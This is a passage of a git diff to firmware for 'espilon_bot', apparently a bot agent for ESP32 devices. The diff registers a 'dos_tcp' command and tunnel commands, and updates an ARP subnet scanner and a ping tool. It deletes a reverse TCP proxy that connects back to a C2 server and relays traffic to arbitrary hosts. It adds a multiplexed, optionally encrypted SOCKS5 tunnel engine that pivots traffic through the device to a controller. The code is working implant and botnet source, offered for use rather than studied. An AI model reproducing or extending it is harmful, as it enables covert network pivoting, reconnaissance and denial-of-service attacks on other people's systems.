(!tun_is_running()) { + msg_error(TAG, "tunnel not running", req); + return -1; + } + + tun_stop(); + msg_info(TAG, "tunnel stopping", req); + return 0; + } + + /* ============================================================ + * COMMAND: tun_status + * ============================================================ */ + static int cmd_tun_status( + int argc, + char **argv, + const char *req, + void *ctx + ) { + (void)argc; + (void)argv; + (void)ctx; + + char status[256]; + tun_get_status(status, sizeof(status)); + msg_info(TAG, status, req); + return 0; + } +#endif /* CONFIG_MODULE_TUNNEL */ + /* ============================================================ * REGISTER COMMANDS * ============================================================ */ static const command_t network_cmds[] = { { "ping", NULL, NULL, 1, 8, cmd_ping, NULL, true }, { "arp_scan", NULL, NULL, 0, 0, cmd_arp_scan, NULL, true }, - { "proxy_start", NULL, NULL, 2, 2, cmd_proxy_start, NULL, true }, - { "proxy_stop", NULL, NULL, 0, 0, cmd_proxy_stop, NULL, false }, - { "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true } + { "dos_tcp", NULL, NULL, 3, 3, cmd_dos_tcp, NULL, true }, +#ifdef CONFIG_MODULE_TUNNEL + { "tun_start", NULL, "Start tunnel: tun_start ", 2, 2, cmd_tun_start, NULL, true }, + { "tun_stop", NULL, "Stop tunnel", 0, 0, cmd_tun_stop, NULL, false }, + { "tun_status", NULL, "Tunnel status", 0, 0, cmd_tun_status, NULL, false }, +#endif }; - + void mod_network_register_commands(void) { for (size_t i = 0; diff --git a/espilon_bot/components/mod_network/mod_arp.c b/espilon_bot/components/mod_network/mod_arp.c index 66c456c..8a91272 100644 --- a/espilon_bot/components/mod_network/mod_arp.c +++ b/espilon_bot/components/mod_network/mod_arp.c @@ -5,156 +5,158 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" - + #include "esp_log.h" #include "esp_netif.h" #include "esp_netif_net_stack.h" - + #include "lwip/ip4_addr.h" #include "lwip/etharp.h" - + #include #include - + #include + #include "utils.h" - + #define TAG "ARP_SCAN" - #define ARP_TIMEOUT_MS 5000 - #define ARP_BATCH_SIZE 5 - - /* ============================================================ - * Helpers - * ============================================================ */ - - /* Convert little/big endian safely */ - static uint32_t swap_u32(uint32_t v) - { - return ((v & 0xFF000000U) >> 24) | - ((v & 0x00FF0000U) >> 8) | - ((v & 0x0000FF00U) << 8) | - ((v & 0x000000FFU) << 24); - } - - static void next_ip(esp_ip4_addr_t *ip) - { - esp_ip4_addr_t tmp; - tmp.addr = swap_u32(ip->addr); - tmp.addr++; - ip->addr = swap_u32(tmp.addr); - } - - /* ============================================================ - * ARP scan task - * ============================================================ */ - - void arp_scan_task(void *pvParameters) - { - (void)pvParameters; - - msg_info(TAG, "ARP scan started", NULL); - - esp_netif_t *netif_handle = - esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); - if (!netif_handle) { - msg_error(TAG, "wifi netif not found", NULL); - vTaskDelete(NULL); - return; - } - - struct netif *lwip_netif = - esp_netif_get_netif_impl(netif_handle); - if (!lwip_netif) { - msg_error(TAG, "lwIP netif not found", NULL); - vTaskDelete(NULL); - return; - } - - esp_netif_ip_info_t ip_info; - esp_netif_get_ip_info(netif_handle, &ip_info); - - /* Compute network range */ - esp_ip4_addr_t start_ip; - start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr; - - esp_ip4_addr_t end_ip; - end_ip.addr = start_ip.addr | ~ip_info.netmask.addr; - - esp_ip4_addr_t cur_ip = start_ip; - - char ip_str[IP4ADDR_STRLEN_MAX]; - char json[128]; - - while (cur_ip.addr != end_ip.addr) { - - esp_ip4_addr_t batch[ARP_BATCH_SIZE]; - int batch_count = 0; - - /* Send ARP requests */ - for (int i = 0; i < ARP_BATCH_SIZE; i++) { - next_ip(&cur_ip); - if (cur_ip.addr == end_ip.addr) - break; - - etharp_request( - lwip_netif, - (const ip4_addr_t *)&cur_ip - ); - - batch[batch_count++] = cur_ip; - } - - /* Wait for replies */ - vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS)); - - /* Collect results */ - for (int i = 0; i < batch_count; i++) { - struct eth_addr *mac = NULL; - const ip4_addr_t *ip_ret = NULL; - - if (etharp_find_addr( - lwip_netif, - (const ip4_addr_t *)&batch[i], - &mac, - &ip_ret - ) == ERR_OK && mac) { - - esp_ip4addr_ntoa( - &batch[i], - ip_str, - sizeof(ip_str) - ); - - int len = snprintf( - json, - sizeof(json), - "{" - "\"ip\":\"%s\"," - "\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\"" - "}", - ip_str, - mac->addr[0], mac->addr[1], mac->addr[2], - mac->addr[3], mac->addr[4], mac->addr[5] - ); - - if (len > 0) { - /* 1 host = 1 streamed event */ - msg_data( - TAG, - json, - len, - false, /* eof */ - NULL - ); - } - } - } - } - - msg_info(TAG, "ARP scan completed", NULL); - - /* End of stream */ - msg_data(TAG, NULL, 0, true, NULL); - - vTaskDelete(NULL); - } - \ No newline at end of file + #define ARP_TIMEOUT_MS 1500 + #define ARP_BATCH_SIZE 16 + +/* ============================================================ + * Helpers + * ============================================================ */ + +/* Convert little/big endian safely */ +static uint32_t swap_u32(uint32_t v) +{ + return ((v & 0xFF000000U) >> 24) | + ((v & 0x00FF0000U) >> 8) | + ((v & 0x0000FF00U) << 8) | + ((v & 0x000000FFU) << 24); +} + +static void next_ip(esp_ip4_addr_t *ip) +{ + esp_ip4_addr_t tmp; + tmp.addr = swap_u32(ip->addr); + tmp.addr++; + ip->addr = swap_u32(tmp.addr); +} + +/* ============================================================ + * ARP scan task + * pvParameters = heap-allocated request_id string (or NULL) + * ============================================================ */ + +void arp_scan_task(void *pvParameters) +{ + char *req = (char *)pvParameters; + + ESP_LOGI(TAG, "ARP scan started (req=%s)", req ? req : "none"); + + esp_netif_t *netif_handle = + esp_netif_get_handle_from_ifkey("WIFI_STA_DEF"); + if (!netif_handle) { + msg_error(TAG, "wifi netif not found", req); + free(req); + vTaskDelete(NULL); + return; + } + + struct netif *lwip_netif = + esp_netif_get_netif_impl(netif_handle); + if (!lwip_netif) { + msg_error(TAG, "lwIP netif not found", req); + free(req); + vTaskDelete(NULL); + return; + } + + esp_netif_ip_info_t ip_info; + esp_netif_get_ip_info(netif_handle, &ip_info); + + /* Compute network range */ + esp_ip4_addr_t start_ip; + start_ip.addr = ip_info.ip.addr & ip_info.netmask.addr; + + esp_ip4_addr_t end_ip; + end_ip.addr = start_ip.addr | ~ip_info.netmask.addr; + + esp_ip4_addr_t cur_ip = start_ip; + + char ip_str[IP4ADDR_STRLEN_MAX]; + char json[128]; + + while (cur_ip.addr != end_ip.addr) { + + esp_ip4_addr_t batch[ARP_BATCH_SIZE]; + int batch_count = 0; + + /* Send ARP requests */ + for (int i = 0; i < ARP_BATCH_SIZE; i++) { + next_ip(&cur_ip); + if (cur_ip.addr == end_ip.addr) + break; + + etharp_request( + lwip_netif, + (const ip4_addr_t *)&cur_ip + ); + + batch[batch_count++] = cur_ip; + } + + /* Wait for replies */ + vTaskDelay(pdMS_TO_TICKS(ARP_TIMEOUT_MS)); + + /* Collect results */ + for (int i = 0; i < batch_count; i++) { + struct eth_addr *mac = NULL; + const ip4_addr_t *ip_ret = NULL; + + if (etharp_find_addr( + lwip_netif, + (const ip4_addr_t *)&batch[i], + &mac, + &ip_ret + ) >= 0 && mac) { + + esp_ip4addr_ntoa( + &batch[i], + ip_str, + sizeof(ip_str) + ); + + int len = snprintf( + json, + sizeof(json), + "{" + "\"ip\":\"%s\"," + "\"mac\":\"%02X:%02X:%02X:%02X:%02X:%02X\"" + "}", + ip_str, + mac->addr[0], mac->addr[1], mac->addr[2], + mac->addr[3], mac->addr[4], mac->addr[5] + ); + + if (len > 0) { + msg_data( + TAG, + json, + len, + false, + req + ); + } + } + } + } + + /* Final message closes the stream (eof=true) */ + const char *done = "ARP scan completed"; + msg_data(TAG, done, strlen(done), true, req); + + free(req); + vTaskDelete(NULL); +} diff --git a/espilon_bot/components/mod_network/mod_ping.c b/espilon_bot/components/mod_network/mod_ping.c index 8c2b99d..04ea38d 100644 --- a/espilon_bot/components/mod_network/mod_ping.c +++ b/espilon_bot/components/mod_network/mod_ping.c @@ -6,177 +6,192 @@ #include #include #include - + #include "lwip/inet.h" #include "lwip/netdb.h" #include "esp_log.h" #include "ping/ping_sock.h" - - #include "utils.h" - - #define TAG "PING" - - static char line[256]; - - /* ============================================================ - * Ping callbacks - * ============================================================ */ - - static void ping_on_success(esp_ping_handle_t hdl, void *args) - { - (void)args; - - uint8_t ttl; - uint16_t seq; - uint32_t time_ms, size; - ip_addr_t addr; - - esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq)); - esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl)); - esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms)); - esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size)); - esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); - - int len = snprintf(line, sizeof(line), - "%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums", - (unsigned long)size, - ipaddr_ntoa(&addr), - seq, - ttl, - (unsigned long)time_ms - ); - - if (len > 0) { - msg_data(TAG, line, len, false, NULL); - } - } - - static void ping_on_timeout(esp_ping_handle_t hdl, void *args) - { - (void)args; - - uint16_t seq; - ip_addr_t addr; - - esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq)); - esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); - - int len = snprintf(line, sizeof(line), - "From %s: icmp_seq=%u timeout", - ipaddr_ntoa(&addr), - seq - ); - - if (len > 0) { - msg_data(TAG, line, len, false, NULL); - } - } - - static void ping_on_end(esp_ping_handle_t hdl, void *args) - { - (void)args; - - uint32_t sent, recv, duration; - ip_addr_t addr; - - esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent)); - esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv)); - esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration)); - esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); - - int loss = sent ? (100 - (recv * 100 / sent)) : 0; - - int len = snprintf(line, sizeof(line), - "--- %s ping statistics ---\n" - "%lu packets transmitted, %lu received, %d%% packet loss, time %lums", - ipaddr_ntoa(&addr), - (unsigned long)sent, - (unsigned long)recv, - loss, - (unsigned long)duration - ); - - if (len > 0) { - /* Final summary, end of stream */ - msg_data(TAG, line, len, true, NULL); - } - - esp_ping_delete_session(hdl); - } - - /* ============================================================ - * Command entry point (used by network command wrapper) - * ============================================================ */ - - int do_ping_cmd(int argc, char **argv) - { - if (argc < 2) { - msg_error(TAG, - "usage: ping [timeout interval size count ttl iface]", - NULL); - return -1; - } - - esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG(); - cfg.count = 4; - cfg.timeout_ms = 1000; - - const char *host = argv[1]; - - /* Optional arguments */ - if (argc > 2) cfg.timeout_ms = atoi(argv[2]) * 1000; - if (argc > 3) cfg.interval_ms = (uint32_t)(atof(argv[3]) * 1000); - if (argc > 4) cfg.data_size = atoi(argv[4]); - if (argc > 5) cfg.count = atoi(argv[5]); - if (argc > 6) cfg.tos = atoi(argv[6]); - if (argc > 7) cfg.ttl = atoi(argv[7]); - - /* Resolve host */ - ip_addr_t target; - memset(&target, 0, sizeof(target)); - - if (!ipaddr_aton(host, &target)) { - struct addrinfo *res = NULL; - - if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) { - msg_error(TAG, "unknown host", NULL); - return -1; - } - - #ifdef CONFIG_LWIP_IPV4 - if (res->ai_family == AF_INET) { - inet_addr_to_ip4addr( - ip_2_ip4(&target), - &((struct sockaddr_in *)res->ai_addr)->sin_addr - ); - } - #endif - - #ifdef CONFIG_LWIP_IPV6 - if (res->ai_family == AF_INET6) { - inet6_addr_to_ip6addr( - ip_2_ip6(&target), - &((struct sockaddr_in6 *)res->ai_addr)->sin6_addr - ); - } - #endif - - freeaddrinfo(res); - } - - cfg.target_addr = target; - - esp_ping_callbacks_t cbs = { - .on_ping_success = ping_on_success, - .on_ping_timeout = ping_on_timeout, - .on_ping_end = ping_on_end - }; - - esp_ping_handle_t ping; - esp_ping_new_session(&cfg, &cbs, &ping); - esp_ping_start(ping); - - return 0; - } - \ No newline at end of file + #include "utils.h" + + #define TAG "PING" + +/* Context passed to ping callbacks via cb_args */ +typedef struct { + char req[64]; /* request_id copy (empty string if none) */ +} ping_ctx_t; + +/* ============================================================ + * Ping callbacks + * ============================================================ */ + +static void ping_on_success(esp_ping_handle_t hdl, void *args) +{ + ping_ctx_t *ctx = (ping_ctx_t *)args; + const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL; + char line[256]; + + uint8_t ttl; + uint16_t seq; + uint32_t time_ms, size; + ip_addr_t addr; + + esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq)); + esp_ping_get_profile(hdl, ESP_PING_PROF_TTL, &ttl, sizeof(ttl)); + esp_ping_get_profile(hdl, ESP_PING_PROF_TIMEGAP, &time_ms, sizeof(time_ms)); + esp_ping_get_profile(hdl, ESP_PING_PROF_SIZE, &size, sizeof(size)); + esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); + + int len = snprintf(line, sizeof(line), + "%lu bytes from %s: icmp_seq=%u ttl=%u time=%lums", + (unsigned long)size, + ipaddr_ntoa(&addr), + seq, + ttl, + (unsigned long)time_ms + ); + + if (len > 0) { + msg_data(TAG, line, len, false, req); + } +} + +static void ping_on_timeout(esp_ping_handle_t hdl, void *args) +{ + ping_ctx_t *ctx = (ping_ctx_t *)args; + const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL; + char line[256]; + + uint16_t seq; + ip_addr_t addr; + + esp_ping_get_profile(hdl, ESP_PING_PROF_SEQNO, &seq, sizeof(seq)); + esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); + + int len = snprintf(line, sizeof(line), + "From %s: icmp_seq=%u timeout", + ipaddr_ntoa(&addr), + seq + ); + + if (len > 0) { + msg_data(TAG, line, len, false, req); + } +} + +static void ping_on_end(esp_ping_handle_t hdl, void *args) +{ + ping_ctx_t *ctx = (ping_ctx_t *)args; + const char *req = (ctx && ctx->req[0]) ? ctx->req : NULL; + + uint32_t sent, recv, duration; + ip_addr_t addr; + + esp_ping_get_profile(hdl, ESP_PING_PROF_REQUEST, &sent, sizeof(sent)); + esp_ping_get_profile(hdl, ESP_PING_PROF_REPLY, &recv, sizeof(recv)); + esp_ping_get_profile(hdl, ESP_PING_PROF_DURATION, &duration, sizeof(duration)); + esp_ping_get_profile(hdl, ESP_PING_PROF_IPADDR, &addr, sizeof(addr)); + + int loss = sent ? (100 - (recv * 100 / sent)) : 0; + + char line[256]; + int len = snprintf(line, sizeof(line), + "--- %s ping statistics ---\n" + "%lu packets transmitted, %lu received, %d%% packet loss, time %lums", + ipaddr_ntoa(&addr), + (unsigned long)sent, + (unsigned long)recv, + loss, + (unsigned long)duration + ); + + if (len > 0) { + msg_data(TAG, line, len, true, req); + } + + esp_ping_delete_session(hdl); + free(ctx); +} + +/* ============================================================ + * Command entry point + * ============================================================ */ + +int do_ping_cmd(int argc, char **argv, const char *req) +{ + if (argc < 1) { + msg_error(TAG, + "usage: ping [timeout interval size count ttl iface]", + req); + return -1; + } + + esp_ping_config_t cfg = ESP_PING_DEFAULT_CONFIG(); + cfg.count = 4; + cfg.timeout_ms = 1000; + cfg.task_stack_size = 8192; /* default 2048 too small for msg_data→protobuf stack */ + + const char *host = argv[0]; + + /* Optional arguments */ + if (argc > 1) cfg.timeout_ms = atoi(argv[1]) * 1000; + if (argc > 2) cfg.interval_ms = (uint32_t)(atof(argv[2]) * 1000); + if (argc > 3) cfg.data_size = atoi(argv[3]); + if (argc > 4) cfg.count = atoi(argv[4]); + if (argc > 5) cfg.tos = atoi(argv[5]); + if (argc > 6) cfg.ttl = atoi(argv[6]); + + /* Resolve host */ + ip_addr_t target; + memset(&target, 0, sizeof(target)); + + if (!ipaddr_aton(host, &target)) { + struct addrinfo *res = NULL; + + if (getaddrinfo(host, NULL, NULL, &res) != 0 || !res) { + msg_error(TAG, "unknown host", req); + return -1; + } + +#ifdef CONFIG_LWIP_IPV4 + if (res->ai_family == AF_INET) { + inet_addr_to_ip4addr( + ip_2_ip4(&target), + &((struct sockaddr_in *)res->ai_addr)->sin_addr + ); + } +#endif + +#ifdef CONFIG_LWIP_IPV6 + if (res->ai_family == AF_INET6) { + inet6_addr_to_ip6addr( + ip_2_ip6(&target), + &((struct sockaddr_in6 *)res->ai_addr)->sin6_addr + ); + } +#endif + + freeaddrinfo(res); + } + + cfg.target_addr = target; + + /* Heap-allocate context for callbacks (freed in ping_on_end) */ + ping_ctx_t *ctx = calloc(1, sizeof(ping_ctx_t)); + if (ctx && req) { + snprintf(ctx->req, sizeof(ctx->req), "%s", req); + } + + esp_ping_callbacks_t cbs = { + .on_ping_success = ping_on_success, + .on_ping_timeout = ping_on_timeout, + .on_ping_end = ping_on_end, + .cb_args = ctx + }; + + esp_ping_handle_t ping; + esp_ping_new_session(&cfg, &cbs, &ping); + esp_ping_start(ping); + + return 0; +} diff --git a/espilon_bot/components/mod_network/mod_proxy.c b/espilon_bot/components/mod_network/mod_proxy.c deleted file mode 100644 index 6629f94..0000000 --- a/espilon_bot/components/mod_network/mod_proxy.c +++ /dev/null @@ -1,200 +0,0 @@ -/* - * Eun0us - Reverse TCP Proxy Module - * Clean & stream-based implementation - */ - - #include - #include - #include - #include - #include - - #include - #include - #include - - #include "freertos/FreeRTOS.h" - #include "freertos/task.h" - #include "esp_log.h" - - #include "utils.h" - - #define TAG "PROXY" - - #define MAX_PROXY_RETRY 10 - #define RETRY_DELAY_MS 5000 - #define CMD_BUF_SIZE 256 - #define RX_BUF_SIZE 1024 - - int proxy_running = 0; - static int cc_client = -1; - - /* ============================================================ - * Helpers - * ============================================================ */ - - /* Replace escaped \r \n */ - static void unescape_payload(const char *src, char *dst, size_t max_len) - { - size_t i = 0, j = 0; - while (src[i] && j < max_len - 1) { - if (src[i] == '\\' && src[i + 1] == 'r') { - dst[j++] = '\r'; - i += 2; - } else if (src[i] == '\\' && src[i + 1] == 'n') { - dst[j++] = '\n'; - i += 2; - } else { - dst[j++] = src[i++]; - } - } - dst[j] = '\0'; - } - - /* ============================================================ - * Proxy command handler task - * ============================================================ */ - - static void proxy_task(void *arg) - { - (void)arg; - - char cmd[CMD_BUF_SIZE]; - - msg_info(TAG, "proxy handler started", NULL); - - while (proxy_running) { - - int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0); - if (len <= 0) { - msg_error(TAG, "connection closed", NULL); - break; - } - cmd[len] = '\0'; - - /* Format: ip:port|payload */ - char *sep_ip = strchr(cmd, ':'); - char *sep_pay = strchr(cmd, '|'); - - if (!sep_ip || !sep_pay || sep_pay <= sep_ip) { - msg_error(TAG, "invalid command format", NULL); - continue; - } - - /* Extract IP */ - char ip[64]; - size_t ip_len = sep_ip - cmd; - if (ip_len >= sizeof(ip)) { - msg_error(TAG, "ip too long", NULL); - continue; - } - memcpy(ip, cmd, ip_len); - ip[ip_len] = '\0'; - - /* Extract port */ - int port = atoi(sep_ip + 1); - if (port <= 0 || port > 65535) { - msg_error(TAG, "invalid port", NULL); - continue; - } - - const char *payload_escaped = sep_pay + 1; - - char info_msg[96]; - snprintf(info_msg, sizeof(info_msg), - "proxying to %s:%d", ip, port); - msg_info(TAG, info_msg, NULL); - - /* Destination socket */ - int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); - if (dst < 0) { - msg_error(TAG, "socket failed", NULL); - continue; - } - - struct sockaddr_in addr = { - .sin_family = AF_INET, - .sin_port = htons(port), - .sin_addr.s_addr = inet_addr(ip), - }; - - struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 }; - setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); - setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); - - if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) { - msg_error(TAG, "connect failed", NULL); - close(dst); - continue; - } - - /* Send payload */ - char payload[RX_BUF_SIZE]; - unescape_payload(payload_escaped, payload, sizeof(payload)); - send(dst, payload, strlen(payload), 0); - - /* Receive response (stream) */ - char rx[RX_BUF_SIZE]; - while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) { - msg_data(TAG, rx, len, false, NULL); - } - - /* End of stream */ - msg_data(TAG, NULL, 0, true, NULL); - - close(dst); - } - - close(cc_client); - cc_client = -1; - proxy_running = 0; - - msg_info(TAG, "proxy stopped", NULL); - vTaskDelete(NULL); - } - - /* ============================================================ - * Public API - * ============================================================ */ - - void init_proxy(char *ip, int port) - { - struct sockaddr_in server = { - .sin_family = AF_INET, - .sin_port = htons(port), - .sin_addr.s_addr = inet_addr(ip), - }; - - for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) { - - cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); - if (cc_client < 0) { - vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS)); - continue; - } - - msg_info(TAG, "connecting to C2...", NULL); - - if (connect(cc_client, - (struct sockaddr *)&server, - sizeof(server)) == 0) { - - proxy_running = 1; - xTaskCreate( - proxy_task, - "proxy_task", - 8192, - NULL, - 5, - NULL - ); - return; - } - - close(cc_client); - vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS)); - } - - msg_error(TAG, "unable to connect to C2", NULL); - } - \ No newline at end of file diff --git a/espilon_bot/components/mod_network/net_utils.h b/espilon_bot/components/mod_network/net_utils.h index 9dff3e3..076b942 100644 --- a/espilon_bot/components/mod_network/net_utils.h +++ b/espilon_bot/components/mod_network/net_utils.h @@ -1,3 +1,5 @@ +#pragma once + #include // dos.c void start_dos(const char *t_ip, uint16_t t_port, int turn); @@ -6,7 +8,4 @@ void start_dos(const char *t_ip, uint16_t t_port, int turn); void arp_scan_task(void *pvParameters); // ping.c -int do_ping_cmd(int argc, char **argv); - -// proxy.c -void init_proxy(char *ip, int port); +int do_ping_cmd(int argc, char **argv, const char *req); diff --git a/espilon_bot/components/mod_network/tun_core.c b/espilon_bot/components/mod_network/tun_core.c new file mode 100644 index 0000000..4446540 --- /dev/null +++ b/espilon_bot/components/mod_network/tun_core.c @@ -0,0 +1,795 @@ +/* + * tun_core.c – SOCKS5 Tunnel Engine + * Multiplexed binary-framed TCP proxy via C3PO. + * Replaces the old mod_proxy single-shot relay. + */ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "esp_log.h" +#include "esp_random.h" + +#include "utils.h" +#include "tun_core.h" + +#define TAG "TUNNEL" + +/* ============================================================ + * Global state + * ============================================================ */ + +static tun_state_t g_tun = { + .running = false, + .encrypted = false, + .c3po_sock = -1, + .rx_buf_len = 0, + .task_handle = NULL, + .last_ping_tick = 0, +}; + +/* ============================================================ + * Socket helpers + * ============================================================ */ + +static bool send_all(int sock, const void *buf, size_t len) +{ + const uint8_t *p = (const uint8_t *)buf; + while (len > 0) { + int sent = send(sock, p, len, 0); + if (sent <= 0) return false; + p += sent; + len -= sent; + } + return true; +} + +static int recv_exact(int sock, void *buf, size_t len, int timeout_s) +{ + struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 }; + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)); + + uint8_t *p = (uint8_t *)buf; + size_t remaining = len; + while (remaining > 0) { + int n = recv(sock, p, remaining, 0); + if (n <= 0) return -1; + p += n; + remaining -= n; + } + return (int)len; +} + +static bool set_nonblocking(int sock) +{ + int flags = fcntl(sock, F_GETFL, 0); + if (flags < 0) return false; + return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0; +} + +/* ============================================================ + * Frame I/O + * ============================================================ */ + +static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type, + const uint8_t *data, uint16_t data_len) +{ + if (g_tun.c3po_sock < 0) return false; + + uint8_t hdr[TUN_FRAME_HDR_SIZE]; + hdr[0] = (chan_id >> 8) & 0xFF; + hdr[1] = chan_id & 0xFF; + hdr[2] = (uint8_t)type; + hdr[3] = (data_len >> 8) & 0xFF; + hdr[4] = data_len & 0xFF; + +#ifdef CONFIG_TUNNEL_ENCRYPT + if (g_tun.encrypted) { + /* Assemble plaintext frame */ + uint8_t plain[TUN_FRAME_MAX_PLAIN]; + memcpy(plain, hdr, TUN_FRAME_HDR_SIZE); + if (data && data_len > 0) { + memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len); + } + size_t plain_len = TUN_FRAME_HDR_SIZE + data_len; + + /* Encrypt: nonce[12] || ciphertext || tag[16] */ + uint8_t enc[TUN_FRAME_MAX_ENC]; + int enc_len = crypto_encrypt(plain, plain_len, + enc + 2, sizeof(enc) - 2); + if (enc_len < 0) { + ESP_LOGE(TAG, "frame encrypt failed"); + return false; + } + + /* Prepend 2-byte length */ + enc[0] = (enc_len >> 8) & 0xFF; + enc[1] = enc_len & 0xFF; + + return send_all(g_tun.c3po_sock, enc, 2 + enc_len); + } +#endif + + /* Plaintext: header + data */ + if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE)) + return false; + if (data && data_len > 0) { + if (!send_all(g_tun.c3po_sock, data, data_len)) + return false; + } + return true; +} + +/* Returns 0 on success, -1 on error, 1 if no complete frame yet */ +static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type, + uint8_t *out_data, uint16_t *out_len) +{ +#ifdef CONFIG_TUNNEL_ENCRYPT + if (g_tun.encrypted) { + /* Need at least 2 bytes for length prefix */ + if (g_tun.rx_buf_len < 2) return 1; + + uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1]; + if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1; + + size_t total = 2 + enc_len; + if (g_tun.rx_buf_len < total) return 1; + + /* Decrypt */ + uint8_t plain[TUN_FRAME_MAX_PLAIN]; + int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len, + plain, sizeof(plain)); + if (plain_len < TUN_FRAME_HDR_SIZE) { + /* Consume and discard bad frame */ + g_tun.rx_buf_len -= total; + if (g_tun.rx_buf_len > 0) + memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len); + return -1; + } + + *out_chan = ((uint16_t)plain[0] << 8) | plain[1]; + *out_type = (tun_frame_type_t)plain[2]; + *out_len = ((uint16_t)plain[3] << 8) | plain[4]; + + if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE)) + *out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE); + + if (*out_len > 0) + memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len); + + g_tun.rx_buf_len -= total; + if (g_tun.rx_buf_len > 0) + memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len); + + return 0; + } +#endif + + /* Plaintext: need at least 5-byte header */ + if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1; + + *out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1]; + *out_type = (tun_frame_type_t)g_tun.rx_buf[2]; + *out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4]; + + if (*out_len > TUN_FRAME_MAX_DATA) return -1; + + size_t total = TUN_FRAME_HDR_SIZE + *out_len; + if (g_tun.rx_buf_len < total) return 1; + + if (*out_len > 0) + memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len); + + g_tun.rx_buf_len -= total; + if (g_tun.rx_buf_len > 0) + memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len); + + return 0; +} + +/* ============================================================ + * Channel management + * ============================================================ */ + +static tun_channel_t *chan_get(uint16_t id) +{ + if (id == 0 || id > TUN_MAX_CHANNELS) return NULL; + return &g_tun.channels[id - 1]; +} + +static void chan_close(uint16_t id, uint8_t reason) +{ + tun_channel_t *ch = chan_get(id); + if (!ch || ch->state == CHAN_FREE) return; + + if (ch->sock >= 0) { + close(ch->sock); + ch->sock = -1; + } + + /* Notify C3PO */ + tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1); + + ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")", + id, reason, ch->bytes_tx, ch->bytes_rx); + + ch->state = CHAN_FREE; + ch->bytes_tx = 0; + ch->bytes_rx = 0; +} + +static void chan_close_all(void) +{ + for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) { + tun_channel_t *ch = chan_get(i); + if (ch && ch->state != CHAN_FREE) { + if (ch->sock >= 0) { + close(ch->sock); + ch->sock = -1; + } + ch->state = CHAN_FREE; + ch->bytes_tx = 0; + ch->bytes_rx = 0; + } + } +} + +static void chan_send_error(uint16_t id, const char *msg) +{ + tun_send_frame(id, TUN_FRAME_ERROR, + (const uint8_t *)msg, (uint16_t)strlen(msg)); +} + +/* ============================================================ + * Frame handlers + * ============================================================ */ + +/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */ +static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len) +{ + tun_channel_t *ch = chan_get(chan_id); + if (!ch) { + chan_send_error(chan_id, "invalid channel id"); + return; + } + if (ch->state != CHAN_FREE) { + chan_send_error(chan_id, "channel in use"); 